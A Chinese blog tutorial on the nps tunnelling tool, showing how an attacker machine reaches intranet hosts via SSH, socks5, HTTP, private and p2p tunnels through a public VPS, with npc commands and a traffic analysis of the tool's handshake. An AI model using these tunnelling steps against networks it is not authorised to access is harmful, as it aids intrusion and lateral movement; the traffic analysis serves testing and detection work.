0x1 简介

nps 是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持 tcp、udp 流量转发,可在网页上配置和管理各个tcp、udp隧道、内网站点代理,http、https解析等,功能强大,操作方便。

0x2 前期准备

1.安装编译

官方github下载源码进行编译:https://github.com/ehang-io/nps/

安装源码 go get -u ehang.io/nps
编译
服务端go build cmd/nps/nps.go
客户端go build cmd/npc/npc.go

官方github下载已经编译的二进制包:https://github.com/ehang-io/nps/releases

2.可通过docker安装

具体部署方式可在官方仓库拉取镜像:https://hub.docker.com/r/ffdfgdfg/npc

拉取镜像后,可通过修改nps.conf重新配置nps

0x3 实例

场景1--通过SSH访问内网设备

(1)简介

内网设备有暴露可连接的端口,比如22、3389等端口,外网无法访问。此时,攻击者可利用nps工具对内网设备进行连接。

(2)实验环境

服务端(服务端公网vps):x.x.x.x

被控端(客户端)centos7:10.8.1.1

控制端(攻击机)centos7:192.168.1.2

(3)使用

1)服务器上安装,下图为官方配置文件详解,默认配置后并启动

sudo ./nps install
sudo nps start

浏览器查看控制台服务,8024端口是nps服务端默认的绑定端口,可通过配置文件修改

2)在控制台新建一个客户端,配置密钥:1234567

3)客户端即被控端启动nps,指定vps地址和端口进行连接,控制台将会显示建立连接状态

./npc -server=x.x.x.x:8024 -vkey=1234567

4)新建一个TCP隧道,配置服务端端口:9003,目标:客户端ip:22

5)攻击机请求连接服务端ip和监听的9003端口,连接被控内网主机的ssh服务

ssh -p 9003 root@vpsip

访问控制台可见连接记录

场景2--sock5代理访问内网设备

(1)概述

环境同上,通过socks隧道建立连接。

(2)使用

1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条socks5代理,填写监听的端口(9300)。

2)在外网环境本地进行socks5代理配置。例如,用火狐浏览器配置socks5代理服务,将网络代理配置选中Socks Host,ip配置成vps的IP,端口配置刚才的监听端口9300,即可访问内网服务。

注:windows系统可以配合proxifier进行全局代理。Linux还可以使用proxychains进行socks5配置,推荐linux使用proxychains进行配置,可以更好的联合其他工具进行嗅探收集内网信息和横向移动。

场景3-http正向代理

(1)概述

环境一致,通过socks隧道建立连接。

(2)使用

1)在刚才创建的客户端,点击隧道,跳转到隧道管理,在其中添加一条http代理,填写监听的端口(9301)。也可以在控面板的http代理制处,点击新增一条,客户端ID选择2。

2)同socks5代理,在外网环境的本机配置http代理,ip为公网服务器ip,端口为填写的监听端口(9301),即可完成对内网的访问。

场景4-私密代理

(1)概述

场景1的tcp隧道暴露了公网vps的监听端口。如果其他人得到了vps的ip,通过端口扫描得到了开放的端口,将会很容易连接上部署的tcp隧道,这是一个很不安全的行为。为了更加安全管理内网设备,nps支持建立私密代理,通过给隧道设置连接密码,增加了隧道的安全性和私密性。

(2)环境

环境同上,此时攻击机也需要配置nps客户端。

(3)使用

1)重启一个nps服务,并在nps控制面板上面新建一个客户端

./npc -server=vpsip:8024 -vkey=12345678

2)在nps控制面板上面新建的客户端中添加一条私密代理。目标配置成想要连接的内网机器IP:端口,此处设置为内网设备的22端口。唯一标识密钥任意设置,与客户端的唯一验证标识区别开。

2)受控内网主机启动nps客户端

3)攻击机启动npc客户端,配置类型为tcp,密码设置成私密代理的唯一标识密钥,除此之外,可加参数-local_port=xx,默认为2000。配置完成后,连接上nps服务的私密代理,ssh -p 2000 root@127.0.0.1即可访问ssh

场景5-p2p

概述

为了更快传输数据,nps支持p2p模式建立连接。

使用p2p模式前需要测试内网环境的NAT配置。内网环境一般进行了NAT配置,配置如果是对称型NAT,将极大降低内网隧道建立的可能性。对称型NAT的内网设备,攻击者使用p2p模式建立udp连接的时候,由于端口的随机可变性,将导致连接会中断。

nps可检测环境是否为对称型NAT,如图所示,内网设备为对称型NAT。由于后续无法使用vps做p2p穿透,便于测试,攻击机用内网设备进行穿透演示。

检测命令:./npc nat -stun_addr=stun服务器地址(网上可搜索公共stun服务器使用)

使用

1)服务端启动nps

2)在控制面板新建客户端

3)客户端网机器启动nps

./npc -server=x.x.x.x:8025 -vkey=1234567

3)客户端攻击机启动nps,并ssh登录客户端1。

注1:使用p2p模式时最好初始化重启服务端,有可能端口被大量占用而导致失败;注2:p2p模式没有成功简历连接时,将会转到普通的服务器进行转发的模式。

0x4 流量分析

针对场景1进行简单分析。Nps从建立连接到传输数据可分为四个阶段。

第一阶段建立连接。客户端和服务端在建立连接时,三次握手完成后,会进行协商。协商的头部会以"TST"字符串发出请求,并携带客户端的nps版本号与服务端进行确认。协商的目的是确认通信双方使用的nps版本属于同一个nps大版本下。如图所示,"0.26.0"是nps的一个大版本号,在这个大版本下有很多分支,本次测试使用的是0.26.10这个小版本分支。服务端收到协商请求确认后,将会返回服务端的nps大版本号的一个32位hash值,此处测试的nps大版本号为0.26.0。一旦双方检验通过后,返回"sucs"表示隧道协商通过,客户端通过命令"main"发起下一步的任务,至此连接完成。

第二阶段通信准备。命令从main变成了chan,表示隧道建立后,正在等待数据的传输。建立完成后,为了检验隧道处于存活状态,nps设置了5s的心跳包。如图所示,以json格式传输的内容主要包括几个部分。

"ConnType":"tcp",指定隧道为tcp隧道;

"Host":"10.8.58.239:22",表示建立隧道的客户端主机;

"Crypt":false,表示不进行加密传输

"Compress":false,",不对数据进行压缩

LocalProxy":false,不使用代理

"RemoteAddr":"x.x.x.x:53498",指定分配与被控制端ip和端口进行数据传输

"Option":{"Timeout":5000000000}},延迟5000000000,可修改;

第三阶段传输数据。在前期准备就绪后,便可以进行具体数据的传输。此处为ssh通信数据。

攻击机通过53498端口与设定的服务端监听的9003端口进行通信,转发数据;服务端的8024与9003端口在本地进行转发建立连接。

~~本文作者:Janitor010,更多更详细更专业安全文章欢迎关注公众号:捕影白帽子

内网渗透工具-反向代理nps使用分析相关推荐

  1. 【内网渗透工具】炫彩蛇安装教程

    点击查看[学习资料] Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化. Viper基础功能已集成杀软绕过,内网隧道,文件管理,增强命令行等基础功能. Viper ...

  2. 群晖Bitwarden内网穿透https反向代理

    查询了很多资料,看得我不是很明白,所以想整理一下群晖Bitwarden内网穿透https反向代理教程.本教程适用于docker所有项目端口反向代理,我以Bitwarden为例子进行教学. 1. 确认证 ...

  3. 内网渗透-红队内网渗透工具(Viper)

    最近发现一款很强大的内网渗透工具Viper 接下来我给大家介绍一下具体的安装过程,这里我在kali上进行安装 (1)首先打开kali终端,切换到root用户,确认以下操作都在root用户下操作,sud ...

  4. 5款最好用的内网渗透工具,切勿用作非法途径

    公众号开发过程中,频繁修改线上代码,开发过程比较繁琐,同时一旦出错将会影响到线上的其他正常业务,因此搭建一个微信公众号开发的本地环境能达到不影响线上业务的同时调试代码.这里推荐几款非常好用的内网穿透工 ...

  5. 内网渗透工具Cobalt Strike 基础使用

    Cobalt Strike:C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透. Cobalt Strike一款GUI的框架式渗透工具,集成了端口转发.服务扫描,自动 ...

  6. 内网渗透之Msf-Socks代理实战(CFS三层靶场渗透过程及思路)

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...

  7. 内网渗透测试:NTLM Relay攻击分析

    目录 基础知识 NTLM认证过程 NTLM中继攻击原理 获得Net-NTLM Relay的思路 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...

  8. 铭说 | 内网渗透工具分析——reGeorg

    01 前言 通常情况下用户认为将数据和业务分离,只将业务A服务器对外开放,让数据服务器B不对外开放,那么即使用户的A服务器失陷,数据依然保存在内网中,不会被黑客直接访问.用户认为这种方式可以尽可能降低 ...

  9. 内网渗透之Socks代理简介

    目录 Socks代理简介 01什么是Socks 02什么是Socks代理 Socks代理工具简介 01EarthWorm 02FRP 03ProxyChains 04other Socks代理简介 0 ...

  10. 内网穿透、反向代理(ngrok服务器搭建)

    内网穿透的目的是:让外网能访问你本地的应用,例如在外网打开你本地http://127.0.0.1指向的Web站点. 一.ngrok ngrok是一个反向代理,通过在公共的端点和本地运行的Web服务器之 ...

最新文章

  1. 为什么机器学习算法难以优化?一文详解算法优化内部机制
  2. 【设计模式】迪米特法则和六种原则的总结
  3. linux 域名 都访问了 哪些路由,Ngnix管理域名路由
  4. 用J-Link烧写u-boot到Nor Flash—— 韦东山嵌入式Linux视频学习笔记04
  5. 跟小静读《jQuery权威指南》——目录
  6. 一阶电路中的时间常数_你知道RC电路和RL电路中时间常数的来源么?
  7. 架构师:成为架构师可能会面临的问题
  8. stc单片机c语言编程软件,stc isp官方下载-STC单片机ISP下载编程软件下载v6.85i 官方最新版-西西软件下载...
  9. 附下载,《爱分析·中国BI商业智能行业报告》
  10. 1284. Minimum Number of Flips to Convert Binary Matrix to Zero Matrix
  11. 滴滴巨亏背后,打江山容易,守江山难?
  12. Python爬虫:爬了7天的斗鱼,我们来看一下主播们的真实现状
  13. 团体程序设计天梯赛-练习集L1-058 6翻了 (15 分)
  14. 基于PHP+MySQL托管中心管理系统的设计与实现#计算机毕设
  15. 采用analysis-dynamic-synonym插件,动态文件的方式同步同义词
  16. 工具中的文件夹选项不见了!
  17. 谷歌支付:无法购买您要买的商品。
  18. 《战略人力资源管理》
  19. HTML静态网页作业——电影介绍-你的名字 5页 无js 带音乐
  20. 巧用clang 的sanitize解决realloc,malloc,calloc失败

热门文章

  1. 计算机访问网络延迟越低越好吗,内存延迟参数是否越低越好
  2. 2021年,阿里月薪50k招数据分析师,这个要求过分吗?
  3. 光纤交换机使用方法及应用方案详解
  4. 什么是html阅读,HTML 介绍
  5. 在Hive中使用过的函数记录(百分比、截取字符串、分组TOP N、日期转换、日期是第几周)
  6. 【得物技术】AB实验设计实现与分流算法
  7. 编程语言常见符号合集,赶快收藏。
  8. 王阳明让你内心强大的100句名言
  9. java中将汉字转拼音,解决pinyin4j多音节问题
  10. WiFi漫游卡顿严重,如何有效改善实现无缝漫游